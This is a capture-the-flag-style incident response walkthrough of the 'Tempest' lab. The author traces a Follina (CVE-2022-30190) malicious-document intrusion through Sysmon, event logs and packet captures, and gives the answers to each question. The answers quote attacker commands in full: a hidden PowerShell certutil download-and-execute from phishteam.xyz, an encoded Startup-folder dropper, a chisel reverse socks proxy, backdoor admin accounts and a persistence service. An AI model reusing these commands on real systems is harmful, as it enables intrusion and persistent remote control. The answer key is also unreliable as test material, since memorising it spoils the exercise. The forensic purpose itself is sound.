This room aims to introduce the process of analysing endpoint and network logs from a compromised asset. Given the artefacts, we will aim to uncover the incident from the Tempest machine. In this scenario, you will be tasked to be one of the Incident Responders that will focus on handling and analysing the captured artefacts of a compromised machine.

Prerequisites

Before we start, this room requires basic knowledge of endpoint and network security analysis. It is highly recommended to go through the following rooms before attempting this challenge.

• Windows Event Logs
• Sysmon
• Wireshark: Packet Operations
• Brim

Investigation Environment

For this incident, we have provided a Windows machine at your disposal. You may deploy the machine by clicking the Start Machine button in the upper-right-hand corner of the task.

Note: The machine takes a minute to initialise. You may start accessing it once the IP address has been provided.

The machine will start in a split-screen view. In case the VM is not visible, use the blue Show Split View button at the top-right of the page.

Lastly, you may use the following information if you prefer accessing the machine via RDP:

Machine IP: 10.10.140.157 (Replace with Machine_IP)

User: user

Pass: Investigatem3!

Preparation – Log Analysis

Before we proceed, let’s have a quick refresher regarding these topics, which may help build a methodology for analysing captured events:

• Log Analysis
• Event Correlation

Log Analysis

Log analysis is the process of understanding events generated by a computer to identify anomalies such as security threats, application bugs, system performance, or other risks that may impact the organisation.

A log file is an audit trail of events or activities within the applications and systems of an organisation. Logs automatically audit any activity configured, such as system messages, authentication attempts, and network traffic generated. In addition, every log entry is audited with a timestamp of when the event occurred, which deeply aids in an investigation.

Event Correlation

Event correlation identifies significant relationships from multiple log sources, such as application logs, endpoint logs, and network logs.

Event correlation deals with identifying significant artefacts co-existing from different log sources and connecting each related artefact. For example, a network connection log may exist in various log sources, such as Sysmon logs (Event ID 3: Network Connection) and Firewall logs. Firewall logs may provide the source and destination IP, source and destination port, protocol, and the action taken. In contrast, Sysmon logs may give the process that invoked the network connection and the user running the process.

With this information, we can connect the dots of each artefact from the two data sources:

• Source and Destination IP
• Source and Destination Port
• Action Taken
• Protocol
• Process name
• User Account
• Machine Name

Event correlation can build the puzzle pieces to complete the exact scenario from an investigation.

Preparation – Tools and Artifacts

In this task, we will prepare the artefacts and introduce the tools needed for the investigation.

Compare by hash

Before conducting the investigation, one of the most important steps is to compare the artefacts by their hashes. It is a common practice to verify if the artefacts are expected as it is.

You can get the hashes of each artefact by running Powershell from the taskbar and executing the following commands:

powershell.exe

PS C:Usersuser> cd '.DesktopIncident Files'

 

powershell.exe

PS C:UsersuserDesktopIncident Files> ls


    Directory: C:UsersuserDesktopIncident Files


Mode                LastWriteTime         Length Name
––––                –––––––––––––         –––––– ––––
–a––––        6/21/2022   1:46 AM       17479060 capture.pcapng
–a––––        6/21/2022   1:30 AM        3215360 sysmon.evtx
–a––––        6/21/2022   1:29 AM        1118208 windows.evtx

 

powershell.exe

PS C:UsersuserDesktopIncident Files> Get-FileHash -Algorithm SHA256 .capture.pcapng

Algorithm       Hash                                                                   Path
–––––––––       ––––                                                                   ––––
SHA256          CB3A1E6ACFB246F256FBFEFDB6F494941AA30A5A7C3F5258C3E63CFA27A23DC6       C:Usersuser...

 

Toolset

The toolset needed for this task is focused on analysing Sysmon Logs, Windows Event Logs, and Packet Capture.

Endpoint Logs

To analyse Windows artefacts such as Windows Event Logs and Sysmon logs, we will use the following tools:

• EvtxEcmd
• Timeline Explorer
• SysmonView
• Event Viewer

Network Logs

To analyse the provided packet capture, we will use the following tools:

• Wireshark
• Brim

Note: You can access the tools listed above via the taskbar.

Since some of the tools listed above such as Wireshark, Brim, Event Viewer are already covered by the prerequisite rooms, we will only cover the new ones in this section.

EvtxEcmd & Timeline Explorer

Eric Zimmerman has created a set of forensic tools used to analyse Windows artefacts called EZTools (Eric Zimmerman’s Tools). For this task, we will focus on EvtxEcmd and Timeline Explorer, as these tools are mainly used for parsing and analysing Evtx logs.

EvtxEcmd is a command-line tool which parses Windows Event Logs into different formats such as CSV, JSON, XML, etc. You may use this tool in conjunction with Timeline Explorer, created by the same author. Timeline Explorer is a GUI-based tool that functions as a data filtering and navigating application to ease incident responders in handling raw data.

To parse the provided logs, we need first to convert the EVTX logs into CSV using EvtxEcmd and then feed it into Timeline Explorer.

powershell.exe

PS C:ToolsEvtxECmd> .EvtxECmd.exe -f 'C:UsersuserDesktopIncident Filessysmon.evtx' --csv 'C:UsersuserDesktopIncident Files' --csvf sysmon.csv
EvtxECmd version 1.0.0.0

Author: Eric Zimmerman ([email protected])
https://github.com/EricZimmerman/evtx

Command line: -f C:UsersuserDesktopIncident Filessysmon.evtx --csv C:UsersuserDesktopIncident Files --csvf sysmon.csv

Warning: Administrator privileges not found!

CSV output will be saved to C:UsersuserDesktopIncident Filessysmon.csv

Maps loaded: 383

Processing C:UsersuserDesktopIncident Filessysmon.evtx...
Chunk count: 42, Iterating records...

Event log details
Flags: None
Chunk count: 42
Stored/Calculated CRC: EAFDE57A/EAFDE57A
Earliest timestamp: 1601-01-01 00:00:00.0000000
Latest timestamp:   2022-06-20 17:30:35.3630890
Total event log records found: 2,559

Records included: 2,559 Errors: 0 Events dropped: 0

Metrics (including dropped events)
Event ID        Count
1               238
2               2
3               92
5               3
8               3
11              1,024
12              186
13              869
15              6
22              136

Processed 1 file in 19.8850 seconds

 

For TimelineExplorer.exe, we can load the exported CSV file by doing the following: File > Open > Choose sysmon.csv from C:UsersuserDesktopIncident Files directory

Once the logs are loaded, you may navigate through each column and use the input field to filter specific logs via a unique string.

Lastly, you may use the search feature in the upper right-hand corner to find a unique string that may exist on any column.

SysmonView

SysmonView is a Windows GUI-based tool that visualises Sysmon Logs.

Before using this tool, we must export the log file’s contents into XML via Event Viewer.

The machine will notify you once the file has been successfully exported.

Usage:

• Go to File > Import Sysmon Event Logs then choose the XML files generated using the Event Viewer.
• Once loaded, the left sidebar has search functionality that can filter a specific process in mind.
• Choose the image path and session GUID to render the mapped view.

This tool can easily view the correlated events from a specific process. The example above summarises all Sysmon events related to explorer.exe.

I chose to use powershell to gather the Hashes, I also renamed the folder Incident_Files for easier navigation

What is the SHA256 hash of the capture.pcapng file?

ANSWER: CB3A1E6ACFB246F256FBFEFDB6F494941AA30A5A7C3F5258C3E63CFA27A23DC6

What is the SHA256 hash of the sysmon.evtx file?

ANSWER: 665DC3519C2C235188201B5A8594FEA205C3BCBC75193363B87D2837ACA3C91F

What is the SHA256 hash of the windows.evtx file?

ANSWER: D0279D5292BC5B25595115032820C978838678F4333B725998CFE9253E186D60

Upon reading the next questions we better parse the event logs with EvtxECmd to make our lives easier later

Initial Access – Malicious Document

Tempest Incident

In this incident, you will act as an Incident Responder from an alert triaged by one of your Security Operations Center analysts. The analyst has confirmed that the alert has a CRITICAL severity that needs further investigation.

As reported by the SOC analyst, the intrusion started from a malicious document. In addition, the analyst compiled the essential information generated by the alert as listed below:

• The malicious document has a .doc extension.
• The user downloaded the malicious document via chrome.exe.
• The malicious document then executed a chain of commands to attain code execution.

Investigation Guide

To aid with the investigation, you may refer to the cheatsheet crafted by the team applicable to this scenario:

• Start with the events generated by Sysmon.
• EvtxEcmd, Timeline Explorer, and SysmonView can interpret Sysmon logs.
• Follow the child processes of WinWord.exe.
• Use filters such as ParentProcessID or ProcessID to correlate the relationship of each process.
• We can focus on Sysmon events such as Process Creation (Event ID 1) and DNS Queries (Event ID 22) to correlate the activity generated by the malicious document.

Significant Data Sources:

• Sysmon

 

Lets open up our sysmon.csv in timeline explorer and try and use some of the information from the above tasks to find our answers

We got lucky and our results were up the top, we could always filter further if we had to dig for our answers

The user of this machine was compromised by a malicious document. What is the file name of the document?

ANSWER: free_magicules.doc

What is the name of the compromised user and machine?

Format: username-machine name

ANSWER: benimaru-TEMPEST

Lets apply a new filter, we know we are after .doc (winword), we need Event Id 1 for process creation, lets also note the above machine is our victim

 

What is the PID of the Microsoft Word process that opened the malicious document?

ANSWER: 496

For the next one DNS Id is 22 for query, our process ID is 496

Based on Sysmon logs, what is the IPv4 address resolved by the malicious domain used in the previous question?

ANSWER: 167.71.199.191

mmmm nope try again

There he is

What is the base64 encoded string in the malicious payload executed by the document?

ANSWER: JGFwcD1bRW52aXJvbm1lbnRdOjpHZXRGb2xkZXJQYXRoKCdBcHBsaWNhdGlvbkRhdGEnKTtjZCAiJGFwcFxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXAiOyBpd3IgaHR0cDovL3BoaXNodGVhbS54eXovMDJkY2YwNy91cGRhdGUuemlwIC1vdXRmaWxlIHVwZGF0ZS56aXA7IEV4cGFuZC1BcmNoaXZlIC5cdXBkYXRlLnppcCAtRGVzdGluYXRpb25QYXRoIC47IHJtIHVwZGF0ZS56aXA7Cg==

If we decode the base64 above we can see msdt.exe. Upon searching this with CVE…

What is the CVE number of the exploit used by the attacker to achieve a remote code execution?

Format: XXXX-XXXXX

ANSWER: 2022-30190

 

Stage 2 Execution

Malicious Document – Stage 2

Based on the initial findings, we discovered that there is a stage 2 execution:

• The document has successfully executed an encoded base64 command.
• Decoding this string reveals the exact command chain executed by the malicious document.

Investigation Guide

With the following discoveries, we may refer again to the cheatsheet to continue with the investigation:

• The Autostart execution reflects explorer.exe as its parent process ID.
• Child processes of explorer.exe within the event timeframe could be significant.
• Process Creation (Event ID 1) and File Creation (Event ID 11) succeeding the document execution are worth checking.

Significant Data Sources:

• Sysmon

Lets get to filtering

 

We can spot a PowerShell trying to stay hidden in there

The malicious execution of the payload wrote a file on the system. What is the full target path of the payload?

ANSWER: C:UsersbenimaruAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup

The implanted payload executes once the user logs into the machine. What is the executed command upon a successful login of the compromised user?

Format: Remove the double quotes from the log.

ANSWER: C:WindowsSystem32WindowsPowerShellv1.0powershell.exe -w hidden -noni certutil -urlcache -split -f ‘http://phishteam.xyz/02dcf07/first.exe‘ C:UsersPublicDownloadsfirst.exe; C:UsersPublicDownloadsfirst.exe

Now that we have the name of the executable we can filter for it directly

 

Based on Sysmon logs, what is the SHA256 hash of the malicious binary downloaded for stage 2 execution?

ANSWER: CE278CA242AA2023A4FE04067B0A32FBD3CA1599746C160949868FFC7FC3D7D8

Let’s use the parent ID (PID) to link network connections to the malicious payloads behaviour

We have a source IP now, Lets go for a swim with it

The stage 2 payload downloaded establishes a connection to a c2 server. What is the domain and port used by the attacker?

Format: domain:port

ANSWER: resolvecyber.xyz:80

 

Malicious Document Traffic

Based on the collected findings, we discovered that the attacker fetched the stage 2 payload remotely:

• We discovered the Domain and IP invoked by the malicious document on Sysmon logs.
• There is another domain and IP used by the stage 2 payload logged from the same data source.

Investigation Guide

Since we have discovered network-related artefacts, we may again refer to our cheatsheet, which focuses on Network Log Analysis:

• We can now use Brim and Wireshark to investigate the packet capture.
• Find network events related to the harvested domains and IP addresses.
• Sample Brim filter that you can use for this investigation: _path=="http" "<malicious domain>"

Data Sources:

• Packet Capture

 

For our first answer we can try filtering for the domain name we learnt earlier

What is the URL of the malicious payload embedded in the document?

ANSWER: http://phishteam.xyz/02dcf07/index.html

We learnt our domain name last task so lets use that

What is the encoding used by the attacker on the c2 connection?

ANSWER: base64

The malicious c2 binary sends a payload using a parameter that contains the executed command results. What is the parameter used by the binary?

ANSWER: q

Can spot q= in above results

The malicious c2 binary connects to a specific URL to get the command to be executed. What is the URL used by the binary?

ANSWER: /9ab62b5

Also in above results

What is the HTTP method used by the binary?

ANSWER: GET

See above

Based on the user agent, what programming language was used by the attacker to compile the binary?

Format: Answer in lowercase

ANSWER: nim

next to user-agent we can see the language used

 

Internal Reconnaissance

Based on the collected findings, we have discovered that the malicious binary continuously uses the C2 traffic:

• We can easily decode the encoded string in the network traffic.
• The traffic contains the command and output executed by the attacker.

Investigation Guide

To continue with the investigation, we may focus on the following information:

• Find network and process events connecting to the malicious domain.
• Find network events that contain an encoded command.
• We can use Brim to filter all packets containing the encoded string.
• Look for endpoint enumeration commands since the attacker is already inside the machine.

In addition, we may refer to our cheatsheet for Brim to quickly investigate the encoded traffic with the following filters:

• To get all HTTP requests related to the malicious C2 traffic: _path=="http" "<replace domain>" id.resp_p==<replace port> | cut ts, host, id.resp_p, uri | sort ts

Significant Data Sources:

• Packet Capture
• Sysmon

The attacker was able to discover a sensitive file inside the machine of the user. What is the password discovered on the aforementioned file?

ANSWER: infernotempest

Decode the base64 commands we found, one has an automated script…

We also learn that netstat is being utilised

The attacker then enumerated the list of listening ports inside the machine. What is the listening port that could provide a remote shell inside the machine?

ANSWER: 5985

As there were lots of ports in use I searched a few that were listening and found 5985 is insecure

Next question required some thinking. I went back to sysmon logs and searched the other executable we have seen called ch.exe

The attacker then established a reverse socks proxy to access the internal services hosted inside the machine. What is the command executed by the attacker to establish the connection?

Format: Remove the double quotes from the log.

ANSWER: C:UsersbenimaruDownloadsch.exe client 167.71.199.191:8080 R:socks

What is the SHA256 hash of the binary used by the attacker to establish the reverse socks proxy connection?

ANSWER: 8A99353662CCAE117D2BB22EFD8C43D7169060450BE413AF763E8AD7522D2451

Quick Search

What is the name of the tool used by the attacker based on the SHA256 hash? Provide the answer in lowercase.

ANSWER: chisel

The attacker then used the harvested credentials from the machine. Based on the succeeding process after the execution of the socks proxy, what service did the attacker use to authenticate?

Format: Answer in lowercase

ANSWER: winrm

Found during research on ports

Privilege Escalation

Based on the collected findings, the attacker gained a stable shell through a reverse socks proxy.

Investigation Guide

With this, we can focus on the following network and endpoint events:

• Look for events executed after the successful execution of the reverse socks proxy tool.
• Look for potential privilege escalation attempts, as the attacker has already established a persistent low-privilege access.

Significant Data Sources:

• Packet Capture
• Sysmon

 

So, we have our new parent process….

Also we can see when things start kicking off…

IF we filter by download and look at results around the sametime we spot something new. spf.exe

To make things tidy I should’ve filtered further by our victim machines name, malicious domain or something, anyway let’s search for spf.exe

After discovering the privileges of the current user, the attacker then downloaded another binary to be used for privilege escalation. What is the name and the SHA256 hash of the binary?

Format: binary name,SHA256 hash

ANSWER: spf.exe,8524FBC0D73E711E69D60C64F1F1B7BEF35C986705880643DD4D5E17779E586D

Based on the SHA256 hash of the binary, what is the name of the tool used?

Format: Answer in lowercase

ANSWER: printspoofer

Quick Search

The tool exploits a specific privilege owned by the user. What is the name of the privilege?

ANSWER: SeImpersonatePrivilege

More Research

Then, the attacker executed the tool with another binary to establish a c2 connection. What is the name of the binary?

ANSWER: final.exe

The binary connects to a different port from the first c2 connection. What is the port used?

ANSWER: 8080

Discovered back in wireshark when researching open ports

Fully-Owned Machine

Now, the attacker has gained administrative privileges inside the machine. Find all persistence techniques used by the attacker.

In addition, the unusual executions are related to the malicious C2 binary used during privilege escalation.

Investigation Guide

Now, we can rely on our cheatsheet to investigate events after a successful privilege escalation:

• Useful Brim filter to get all HTTP requests related to the malicious C2 traffic : _path=="http" "<replace domain>" id.resp_p==<replace port> | cut ts, host, id.resp_p, uri | sort ts
• The attacker gained SYSTEM privileges; now, the user context for each malicious execution blends with NT AuthoritySystem.
• All child events of the new malicious binary used for C2 are worth checking.

Significant Data Sources:

• Packet Capture
• Sysmon
• Windows Event Logs

Let’s filter by what we know, the last malicious executable is final.exe, let’s see whats been created from it

Let’s narrow it down some more, SYSTEM is in bold and we know our attacker has system privileges so let’s go down that road see….

Well that didn’t help, after browsing we can see what we are after

Upon achieving SYSTEM access, the attacker then created two users. What are the account names?

Format: Answer in alphabetical order – comma delimited

ANSWER: shion,shuna

Prior to the successful creation of the accounts, the attacker executed commands that failed in the creation attempt. What is the missing option that made the attempt fail?

ANSWER: /add

See above

Based on windows event logs, the accounts were successfully created. What is the event ID that indicates the account creation activity?

ANSWER: 4720

GOOGLE

The attacker added one of the accounts in the local administrator’s group. What is the command used by the attacker?

ANSWER: net localgroup administrators /add shion

See above

Based on windows event logs, the account was successfully added to a sensitive group. What is the event ID that indicates the addition to a sensitive local group?

ANSWER: 4732

GOOGLE

After the account creation, the attacker executed a technique to establish persistent administrative access. What is the command executed by the attacker to achieve this?

Format: Remove the double quotes from the log.

ANSWER: C:Windowssystem32sc.exe \TEMPEST create TempestUpdate2 binpath= C:ProgramDatafinal.exe start= auto

See above

 

BOOM! Tempest trail complete. I must say timeline explorer is one of the ugliest tools I’ve worked with so far. Such is Windows. Thanks for reading